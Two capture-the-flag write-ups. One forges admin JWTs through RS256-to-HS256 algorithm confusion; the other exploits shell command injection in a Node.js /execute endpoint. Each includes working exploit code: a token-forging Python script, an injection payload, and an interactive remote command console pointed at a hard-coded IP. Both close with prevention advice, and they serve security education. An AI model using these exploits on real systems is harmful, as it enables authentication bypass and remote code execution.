Baby Web: JWT Algorithm Confusion Attack Walkthrough
Challenge

Initial Analysis
The challenge presents a web application implementing JWT-based authentication. Notable observations from the initial page inspection:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
| <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JWT Auth Demo</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background-color: #f0f0f0;
}
.container {
background-color: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.form-group {
margin-bottom: 15px;
}
input {
padding: 8px;
width: 200px;
margin-right: 10px;
}
button {
padding: 8px 16px;
background-color: #007bff;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #0056b3;
}
.token-display {
word-break: break-all;
margin: 20px 0;
padding: 10px;
background-color: #f8f9fa;
border-radius: 4px;
}
.hidden {
display: none;
}
</style>
</head>
<body>
<div class="container">
<h1>Authentication</h1>
<div class="login-section">
<h2>Login</h2>
<div class="form-group">
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password" disabled>
<button onclick="login()">Login</button>
</div>
</div>
<div id="tokenInfo" class="hidden">
<h2>Session Info</h2>
<p>Role: <span id="userRole">user</span></p>
<div class="token-display" id="tokenDisplay"></div>
<button onclick="accessAdmin()">Access Admin Area</button>
<div id="adminContent" class="hidden">
<h3>Admin Content:</h3>
<pre id="flagContent"></pre>
</div>
<div id="publicKeyDisplay" class="hidden"></div>
</div>
</div>
<script>
async function login() {
const username = document.getElementById('username').value;
try {
const response = await fetch('/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username })
});
const data = await response.json();
localStorage.setItem('jwt', data.token);
document.getElementById('tokenInfo').classList.remove('hidden');
document.getElementById('tokenDisplay').textContent = data.token;
} catch (error) {
console.error('Login failed:', error);
}
}
async function accessAdmin() {
try {
const response = await fetch('/admin', {
headers: {
'Authorization': `Bearer ${localStorage.getItem('jwt')}`
}
});
if (response.ok) {
const data = await response.json();
document.getElementById('adminContent').classList.remove('hidden');
document.getElementById('flagContent').textContent = JSON.stringify(data, null, 2);
} else {
alert('Admin access denied!');
}
} catch (error) {
console.error('Admin access failed:', error);
}
}
async function getPublicKey() {
try {
const response = await fetch('/public-key');
const key = await response.text();
document.getElementById('publicKeyDisplay').classList.remove('hidden');
document.getElementById('publicKeyDisplay').innerHTML = `
<h3>Public Key:</h3>
<pre>${key}</pre>
`;
} catch (error) {
console.error('Failed to fetch public key:', error);
}
}
</script>
</body>
</html>
|
Login form with unusual characteristics:
- Username field enabled
- Password field explicitly disabled
- No traditional authentication checks
Key endpoints identified:
/login
- JWT token generation/admin
- Protected resource/public-key
- RSA public key endpoint
Technical Analysis
Authentication Flow
User submits username via login form

Server generates RS256-signed JWT containing:
3. Admin access controlled via JWT role claim
Vulnerability Assessment
Critical security issues identified:
- Missing password verification
- Exposed RSA public key
- Potential JWT algorithm confusion vulnerability
- No algorithm enforcement on token verification
Public Key
Retrieved RSA public key (2048-bit):

Exploitation Strategy
Attack Vector
The vulnerability stems from potential JWT algorithm confusion, allowing an attacker to:
- Switch from RS256 to HS256 algorithm
- Use the public key as HMAC secret
- Generate forged admin tokens
Solution Approach
- Create forged JWT with:
- Algorithm changed to HS256
- Role elevated to “admin”
- Public key as HMAC secret
- Send forged token to
/admin
endpoint
Solution Implementation
CyberChef
Generate JWT using CyberChef:

Exploit Code
Another option is via a Python code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| import jwt
import base64
from cryptography.hazmat.primitives import serialization
# The public key
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzdk1zKekmoidGS78NWTI
hE88NW+jXqyMpsdxrmhEwBiFQHr1cvB5qXb7GecRSkRrN/w8SaeZJPDUsuKBULiu
qfmScKEmcdrSyI152KPCiho7pNTC8ijkFyEGyTgUNQyMWRnDVCOyAGXcsD44hKjU
WEfYiVcicgIpKNbV6tuIsr7Kl4KqYa2qSiolm6uruxc7MXin4+HijoVa4qmlrT5N
7ULdgFDedI8XHuQfyUyg2858kWwsWlOfe++F+fbBc2Omolui5GcR6tw6p6453Hcm
UUIFvxVsywxTGqld/ENC0W3gMChkKqIsXEQ7kEK7TQgRBLQQP1/Mfmos/kcOADVt
8wIDAQAB
-----END PUBLIC KEY-----'''
# Payload for our forged token
payload = {
"username": "admin",
"role": "admin",
"iat": 1738930304
}
def get_key_bytes():
# Load the public key
key = serialization.load_pem_public_key(PUBLIC_KEY.encode())
# Get the raw bytes of the public key
raw_bytes = key.public_bytes(
encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
return raw_bytes
def create_forged_token():
try:
# Get the raw bytes to use as secret
key_bytes = get_key_bytes()
# Create the forged token
forged_token = jwt.encode(
payload=payload,
key=key_bytes,
algorithm='HS256'
)
return forged_token
except Exception as e:
print(f"Error creating token: {e}")
return None
def main():
# Create the forged token
forged = create_forged_token()
if forged:
print(forged)
if __name__ == "__main__":
main()
|
Execution and Flag Retrieval
- Run exploit script to generate forged token

- Replace the existing
Authorization: Bearer token
- Access
/admin
endpoint to retrieve flag

Key Takeaways
Vulnerability Breakdown
The vulnerability exploits a common JWT implementation flaw where:
- Algorithm is not strictly enforced
- Public key is exposed
- Token verification lacks algorithm validation
Prevention Methods
- Implement proper algorithm enforcement
- Use
algorithm
parameter in token verification - Implement separate HMAC secret if both RS256 and HS256 are required
- Avoid exposing cryptographic keys
Reference
BrokenCode: Command Injection Walkthrough
Challenge

Initial Reconnaissance
The challenge provides a Node.js server application with several endpoints:
/
- Serves static files/upload
- GraphQL endpoint for file uploads (broken)/execute
- Executes uploaded Node.js files
Initial server code analysis revealed an intentionally broken setup:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
| const express = require('express');
const { graphqlHTTP } = require('express-graphql');
const { graphqlUploadExpress, GraphQLUpload } = require('graphql-upload');
const fs = require('fs');
const path = require('path');
const { exec ,execSync} = require('child_process');
const app = express();
const mysql = require('mysql');
require('dotenv').config();
app.use(express.static('public'));
const typeDefs = gql`
scalar Upload
type File {
filename: String!
mimetype: String!
encoding: String!
path: String!
}
type Query {
_empty: String
}
type Mutation {
uploadFile(file: Upload!, filename: String!): File!
}
`;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
const resolvers = {
Upload: GraphQLUpload,
Query: {
_empty: () => 'Hello World',
},
Mutation: {
uploadFile: async (_, { file, filename }) => {
const { createReadStream, mimetype, encoding } = await file;
const filePath = path.join(UPLOAD_DIR, filename);
if (fs.existsSync(filePath)) {
console.log("File Exists")
}
else {
await new Promise((resolve, reject) => {
createReadStream()
.pipe(fs.createWriteStream(filePath))
.on('finish', resolve)
.on('error', reject);
});}
return { filename, mimetype, encoding, path: filePath };
},
},
};
app.use(express.static(path.join(__dirname, 'public')));
console.log(path.join(__dirname, 'public'));
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
server.start().then(() => {
server.applyMiddleware({ app });
app.use('/upload', graphqlHTTP({ resolvers, graphiql: true }));
app.get('/execute', (req, res) => {
const file = req.query.file;
if (!file) {
return res.status(400).send('Missing file parameter');
}
const execPath = path.join(UPLOAD_DIR, file);
exec(`su - rruser -c "node ${execPath}"`, (error, stdout, stderr) => {
if (error) {
try {
execSync(`rm ${execPath}`);
} catch (rmError) {
console.error(`Failed to delete ${execPath}:`, rmError);
}
console.log(error)
return res.status(500).send(`Error`);
}
if (stderr) {
console.log(stderr)
try {
execSync(`rm ${execPath}`);
} catch (rmError) {
console.error(`Failed to delete ${execPath}:`, rmError);
}
return res.status(500).send(`Error`);
}
console.log(stdout);
try {
execSync(`rm ${execPath}`);
} catch (rmError) {
console.error(`Failed to delete ${execPath}:`, rmError);
}
return res.status(200).send(stdout);
});
});
const PORT = 7000;
app.listen(PORT, () => {});
});
|
Technical Analysis
Key Vulnerability
- Command Injection in
/execute
endpoint:
1
2
3
4
5
6
7
| app.get('/execute', (req, res) => {
const file = req.query.file;
const execPath = path.join(UPLOAD_DIR, file);
exec(`su - rruser -c "node ${execPath}"`, (error, stdout, stderr) => {
// ...
});
});
|
Critical issues:
- Unsanitized file parameter
- Direct command string interpolation
- Execution through shell
Vulnerability Analysis
The code constructs a shell command using template literals, allowing command injection through the file
parameter. The command runs as rruser
through su
, providing access to that user’s context.
Exploitation Strategy
Command Injection Vector
The vulnerable endpoint allows breaking out of the Node.js command:
1
| /execute?file=test" --help "
|
This transforms into:
1
| su - rruser -c "node /home/rruser/uploads/test" --help ""
|

Enhanced Payload
Adding command redirection improves output readability:
1
| test" --help >/dev/null; <command>"
|

Exploitation
Python script for streamlined exploitation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| import requests
import urllib.parse
class CTFConsole:
def __init__(self, base_url="http://20.193.159.130:7000"):
self.base_url = base_url
def execute_command(self, command):
"""Execute a command through the node injection"""
# Construct the payload
payload = f'test" --help >/dev/null; {command}"'
# Send the request
response = requests.get(f"{self.base_url}/execute", params={'file': payload})
return response.text
def run_console(self):
"""Run an interactive console"""
while True:
try:
command = input("\n$ ")
if command.lower() == 'exit':
break
result = self.execute_command(command)
print(result)
except KeyboardInterrupt:
print("\n[*] Ctrl+C detected, exiting...")
break
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
console = CTFConsole()
console.run_console()
|
Flag content in flag.txt
:

Key Takeaways
Vulnerability Breakdown
The vulnerability stems from:
- Unsanitized user input in command construction
- Use of shell execution
- Broken GraphQL implementation masking the actual vulnerability
Prevention Methods
- Use safe child_process methods:
1
| execFile('node', [execPath], options)
|
- Implement proper input validation:
1
2
3
| if (!/^[\w.-]+$/.test(file)) {
return res.status(400).send('Invalid filename');
}
|
- Avoid shell execution when possible
- Implement proper file execution sandboxing
References